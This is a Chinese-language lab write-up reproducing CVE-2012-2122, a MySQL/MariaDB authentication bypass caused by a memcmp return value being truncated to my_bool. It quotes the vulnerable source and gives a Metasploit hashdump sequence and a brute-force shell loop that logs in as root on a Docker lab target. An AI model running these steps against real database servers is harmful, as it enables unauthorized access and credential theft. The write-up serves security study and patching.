Mysql身份认证漏洞复现(CVE-2012-2122)_cve-2012-2122漏洞复现

#Mysql身份认证漏洞(CVE-2012-2122)#

一、漏洞简介

当连接MariaDB/MySQL时，输入的密码会与期望的正确密码比较，由于不正确的处理，会导致即便是memcmp()返回一个非零值，也会使MySQL认为两个密码是相同的。 也就是说只要知道用户名，不断尝试就能够直接登入SQL数据库。按照公告说法大约256次就能够蒙对一次。

二、漏洞影响

影响版本

MariaDB versions from 5.1.62, 5.2.12, 5.3.6, 5.5.23 are not.
MySQL versions from 5.1.63, 5.5.24, 5.6.6 are not.

三、产生原因

出问题的代码如下

/*
    Check that scrambled message corresponds to the password; the function
    is used by server to check that recieved reply is authentic.
    This function does not check lengths of given strings: message must be
    null-terminated, reply and hash_stage2 must be at least SHA1_HASH_SIZE
    long (if not, something fishy is going on).
  SYNOPSIS
    check_scramble()
    scramble     clients' reply, presumably produced by scramble()
    message      original random string, previously sent to client
                 (presumably second argument of scramble()), must be
                 exactly SCRAMBLE_LENGTH long and NULL-terminated.
    hash_stage2  hex2octet-decoded database entry
    All params are IN.

  RETURN VALUE
    0  password is correct
    !0  password is invalid
*/

my_bool
check_scramble(const uchar *scramble_arg, const char *message,
               const uint8 *hash_stage2)
{
  SHA1_CONTEXT sha1_context;
  uint8 buf[SHA1_HASH_SIZE];
  uint8 hash_stage2_reassured[SHA1_HASH_SIZE];

  mysql_sha1_reset(&sha1_context);
  /* create key to encrypt scramble */
  mysql_sha1_input(&sha1_context, (const uint8 *) message, SCRAMBLE_LENGTH);
  mysql_sha1_input(&sha1_context, hash_stage2, SHA1_HASH_SIZE);
  mysql_sha1_result(&sha1_context, buf);
  /* encrypt scramble */
    my_crypt((char *) buf, buf, scramble_arg, SCRAMBLE_LENGTH);
  /* now buf supposedly contains hash_stage1: so we can get hash_stage2 */
  mysql_sha1_reset(&sha1_context);
  mysql_sha1_input(&sha1_context, buf, SHA1_HASH_SIZE);
  mysql_sha1_result(&sha1_context, hash_stage2_reassured);
  return memcmp(hash_stage2, hash_stage2_reassured, SHA1_HASH_SIZE);
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41

memcmp的返回值实际上是int，而my_bool实际上是char。那么在把int转换成char的时候，就有可能发生截断。比如，memcmp返回0×200，截断后变成了0，调用check_scramble函数的就误以为"password is correct"。

但是一般来说，memcmp的返回值都在[127,-128]之内。glibc的经SSE优化后的代码，不是如此。所以这个BUG只在特定的编译环境下才会触发：即编译MySQL的时候加了-fno-builtin，并且所使用的glibc是经SSE优化后的（一般系统自带的都是如此）。这里所说的glibc是指Linux的glibc，FreeBSD的libc不受影响。

四、复现过程

docker 靶机：192.168.111.137

kali攻击机 ：192.168.111.142

docker搭建靶场环境

docker-compose build
docker-compose up -d
1
2

查看镜像是否启动成功

docker ps
1

攻击机启动msf

service postgresql start  //启动msf数据库
msfconsole  //进入msf
use auxiliary/scanner/mysql/mysql_authbypass_hashdump  //选择该模块
set rhosts 192.168.111.137  //设置目标
set threads 10  //设置线程
run
1
2
3
4
5
6

获得hash值，解密得到密码

连接数据库，成功

mysql -u root -P 3306 -h 192.168.111.137 -p
1

方法二：用shell脚本指定for循环做验证（直接得到mysql的shell）

for i in `seq 1 1000`; do mysql -u root --password=bad -h 192.168.111.137 2>/dev/null; done
1

五、修复方案

1、升级官方补丁
2、更新mysql

六、参考链接

CVE-2012-2122 Mysql身份认证漏洞及利用

CVE-2012-2122: MySQL身份认证漏洞

标签

CVE-2012-2122、MySQL、身份认证